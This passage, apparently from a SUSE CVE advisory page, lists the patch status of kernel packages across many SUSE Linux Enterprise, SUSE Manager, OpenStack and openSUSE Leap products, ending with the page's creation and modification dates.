    SUSE Linux Enterprise Module for Development Tools 15 SP3 kernel-source Affected
    SUSE Linux Enterprise Module for Development Tools 15 SP4 kernel-source Affected
    SUSE Linux Enterprise Module for Development Tools 15 SP5 kernel-source Affected
    SUSE Linux Enterprise Module for Public Cloud 15 SP5 kernel-source-azure Unsupported
    SUSE Linux Enterprise Server 11 SP4 LTSS EXTREME CORE kernel-default Affected
    SUSE Linux Enterprise Server 11 SP4 LTSS EXTREME CORE kernel-source Affected
    SUSE Linux Enterprise Server 12 SP5 kernel-source Affected
    SUSE Linux Enterprise Server 12 SP5 kernel-source-azure Affected
    SUSE Linux Enterprise Server 12 SP5-LTSS kernel-default Released
    SUSE Linux Enterprise Server 12 SP5-LTSS kernel-source Released
    SUSE Linux Enterprise Server 12 SP5-LTSS kernel-source-azure Affected
    SUSE Linux Enterprise Server 12 SP5-LTSS kernel-syms Released
    SUSE Linux Enterprise Server 15 SP3 kernel-source Affected
    SUSE Linux Enterprise Server 15 SP3-LTSS kernel-default Affected
    SUSE Linux Enterprise Server 15 SP3-LTSS kernel-source Affected
    SUSE Linux Enterprise Server 15 SP4 kernel-source Affected
    SUSE Linux Enterprise Server 15 SP4-LTSS kernel-default Affected
    SUSE Linux Enterprise Server 15 SP4-LTSS kernel-source Affected
    SUSE Linux Enterprise Server 15 SP5 kernel-source Affected
    SUSE Linux Enterprise Server 15 SP5 kernel-source-azure Unsupported
    SUSE Linux Enterprise Server 15 SP5-LTSS kernel-default Affected
    SUSE Linux Enterprise Server 15 SP5-LTSS kernel-source Affected
    SUSE Linux Enterprise Server LTSS Extended Security 12 SP5 kernel-default Released
    SUSE Linux Enterprise Server LTSS Extended Security 12 SP5 kernel-source Released
    SUSE Linux Enterprise Server LTSS Extended Security 12 SP5 kernel-source-azure Affected
    SUSE Linux Enterprise Server LTSS Extended Security 12 SP5 kernel-syms Released
    SUSE Linux Enterprise Server for SAP Applications 12 SP5 kernel-default Affected
    SUSE Linux Enterprise Server for SAP Applications 12 SP5 kernel-source Affected
    SUSE Linux Enterprise Server for SAP Applications 15 SP3 kernel-default Affected
    SUSE Linux Enterprise Server for SAP Applications 15 SP3 kernel-source Affected
    SUSE Linux Enterprise Server for SAP Applications 15 SP4 kernel-default Affected
    SUSE Linux Enterprise Server for SAP Applications 15 SP4 kernel-source Affected
    SUSE Linux Enterprise Server for SAP Applications 15 SP5 kernel-default Affected
    SUSE Linux Enterprise Server for SAP Applications 15 SP5 kernel-source Affected
    SUSE Linux Enterprise Server for SAP Applications 15 SP5 kernel-source-azure Unsupported
    Products past their end of life and not receiving proactive updates anymore.
    HPE Helion OpenStack 8 kernel-source Affected
    SUSE CaaS Platform 4.0 kernel-source Affected
    SUSE CaaS Platform Toolchain 3 kernel-source Affected
    SUSE Enterprise Storage 6 kernel-source Affected
    SUSE Enterprise Storage 7 kernel-source Affected
    SUSE Enterprise Storage 7.1 kernel-source Affected
    SUSE Linux Enterprise Desktop 11 SP4 kernel-source Affected
    SUSE Linux Enterprise Desktop 12 SP2 kernel-source Affected
    SUSE Linux Enterprise Desktop 12 SP3 kernel-source Affected
    SUSE Linux Enterprise Desktop 12 SP4 kernel-source Affected
    SUSE Linux Enterprise Desktop 15 kernel-source Affected
    SUSE Linux Enterprise Desktop 15 SP1 kernel-source Affected
    SUSE Linux Enterprise Desktop 15 SP2 kernel-source Affected
    SUSE Linux Enterprise Desktop 15 SP3 kernel-source Affected
    SUSE Linux Enterprise Desktop 15 SP4 kernel-source Affected
    SUSE Linux Enterprise Desktop 15 SP5 kernel-source Affected
    SUSE Linux Enterprise High Performance Computing 15 kernel-source Affected
    SUSE Linux Enterprise High Performance Computing 15 SP1 kernel-source Affected
    SUSE Linux Enterprise High Performance Computing 15 SP1-ESPOS kernel-source Affected
    SUSE Linux Enterprise High Performance Computing 15 SP1-LTSS kernel-source Affected
    SUSE Linux Enterprise High Performance Computing 15 SP2 kernel-source Affected
    SUSE Linux Enterprise High Performance Computing 15 SP2-ESPOS kernel-source Affected
    SUSE Linux Enterprise High Performance Computing 15 SP2-LTSS kernel-source Affected
    SUSE Linux Enterprise High Performance Computing 15 SP4-ESPOS kernel-source Affected
    SUSE Linux Enterprise High Performance Computing 15-ESPOS kernel-source Affected
    SUSE Linux Enterprise High Performance Computing 15-LTSS kernel-source Affected
    SUSE Linux Enterprise Micro 5.0 kernel-default Affected
    SUSE Linux Enterprise Module for Basesystem 15 kernel-source Affected
    SUSE Linux Enterprise Module for Basesystem 15 SP1 kernel-source Affected
    SUSE Linux Enterprise Module for Basesystem 15 SP2 kernel-source Affected
    SUSE Linux Enterprise Module for Development Tools 15 kernel-source Affected
    SUSE Linux Enterprise Module for Development Tools 15 SP1 kernel-source Affected
    SUSE Linux Enterprise Module for Development Tools 15 SP2 kernel-source Affected
    SUSE Linux Enterprise Point of Sale 12 SP2-CLIENT kernel-source Affected
    SUSE Linux Enterprise Real Time 15 SP2 kernel-source Affected
    SUSE Linux Enterprise Real Time 15 SP3 kernel-source Affected
    SUSE Linux Enterprise Real Time 15 SP3 kernel-source-rt Affected
    SUSE Linux Enterprise Real Time 15 SP4 kernel-source Affected
    SUSE Linux Enterprise Real Time 15 SP4 kernel-source-rt Affected
    SUSE Linux Enterprise Real Time 15 SP5 kernel-source-rt Affected
    SUSE Linux Enterprise Server 11 SP4 kernel-source Affected
    SUSE Linux Enterprise Server 11 SP4 LTSS kernel-default Affected
    SUSE Linux Enterprise Server 11 SP4 LTSS kernel-source Affected
    SUSE Linux Enterprise Server 11 SP4-LTSS kernel-source Affected
    SUSE Linux Enterprise Server 12 SP2 kernel-source Affected
    SUSE Linux Enterprise Server 12 SP2-BCL kernel-source Affected
    SUSE Linux Enterprise Server 12 SP2-ESPOS kernel-source Affected
    SUSE Linux Enterprise Server 12 SP2-LTSS kernel-default Affected
    SUSE Linux Enterprise Server 12 SP2-LTSS kernel-source Affected
    SUSE Linux Enterprise Server 12 SP3 kernel-source Affected
    SUSE Linux Enterprise Server 12 SP3-BCL kernel-source Affected
    SUSE Linux Enterprise Server 12 SP3-ESPOS kernel-source Affected
    SUSE Linux Enterprise Server 12 SP3-LTSS kernel-source Affected
    SUSE Linux Enterprise Server 12 SP4 kernel-source Affected
    SUSE Linux Enterprise Server 12 SP4-ESPOS kernel-source Affected
    SUSE Linux Enterprise Server 12 SP4-LTSS kernel-default Affected
    SUSE Linux Enterprise Server 12 SP4-LTSS kernel-source Affected
    SUSE Linux Enterprise Server 15 kernel-source Affected
    SUSE Linux Enterprise Server 15 SP1 kernel-source Affected
    SUSE Linux Enterprise Server 15 SP1-BCL kernel-source Affected
    SUSE Linux Enterprise Server 15 SP1-LTSS kernel-default Affected
    SUSE Linux Enterprise Server 15 SP1-LTSS kernel-source Affected
    SUSE Linux Enterprise Server 15 SP2 kernel-source Affected
    SUSE Linux Enterprise Server 15 SP2-BCL kernel-source Affected
    SUSE Linux Enterprise Server 15 SP2-LTSS kernel-default Affected
    SUSE Linux Enterprise Server 15 SP2-LTSS kernel-source Affected
    SUSE Linux Enterprise Server 15 SP3-BCL kernel-source Affected
    SUSE Linux Enterprise Server 15-LTSS kernel-default Affected
    SUSE Linux Enterprise Server 15-LTSS kernel-source Affected
    SUSE Linux Enterprise Server for Raspberry Pi 12 SP2 kernel-source Affected
    SUSE Linux Enterprise Server for SAP Applications 12 SP2 kernel-source Affected
    SUSE Linux Enterprise Server for SAP Applications 12 SP3 kernel-source Affected
    SUSE Linux Enterprise Server for SAP Applications 12 SP4 kernel-source Affected
    SUSE Linux Enterprise Server for SAP Applications 15 kernel-source Affected
    SUSE Linux Enterprise Server for SAP Applications 15 SP1 kernel-source Affected
    SUSE Linux Enterprise Server for SAP Applications 15 SP2 kernel-source Affected
    SUSE Manager Proxy 4.0 kernel-source Affected
    SUSE Manager Proxy 4.1 kernel-source Affected
    SUSE Manager Proxy 4.2 kernel-source Affected
    SUSE Manager Retail Branch Server 4.0 kernel-source Affected
    SUSE Manager Retail Branch Server 4.1 kernel-source Affected
    SUSE Manager Retail Branch Server 4.2 kernel-source Affected
    SUSE Manager Server 4.0 kernel-source Affected
    SUSE Manager Server 4.1 kernel-source Affected
    SUSE Manager Server 4.2 kernel-source Affected
    SUSE OpenStack Cloud 7 kernel-source Affected
    SUSE OpenStack Cloud 8 kernel-source Affected
    SUSE OpenStack Cloud 9 kernel-source Affected
    SUSE OpenStack Cloud Crowbar 8 kernel-source Affected
    SUSE OpenStack Cloud Crowbar 9 kernel-source Affected
    SUSE Real Time Module 15 SP3 kernel-source-rt Affected
    SUSE Real Time Module 15 SP4 kernel-source-rt Affected
    SUSE Real Time Module 15 SP5 kernel-source-rt Affected
    openSUSE Leap 15.3 kernel-source Affected
    openSUSE Leap 15.3 kernel-source-rt Affected
    openSUSE Leap 15.4 kernel-source Affected
    openSUSE Leap 15.4 kernel-source-azure Unsupported
    openSUSE Leap 15.4 kernel-source-rt Affected
    openSUSE Leap 15.5 kernel-source Affected
    openSUSE Leap 15.5 kernel-source-azure Unsupported
    openSUSE Leap 15.5 kernel-source-rt Affected
    Products at an unknown state of their lifecycle.
    SUSE Linux Enterprise Module for Confidential Computing 15 SP6 kernel-coco Released
    SUSE Linux Enterprise Module for Confidential Computing 15 SP6 kernel-coco_debug Released
    SUSE Linux Enterprise Module for Confidential Computing 15 SP6 kernel-source-coco Released

    SUSE Timeline for this CVE

    CVE page created: Thu Feb 13 14:00:05 2025
    CVE page last modified: Fri Mar 21 18:05:47 2025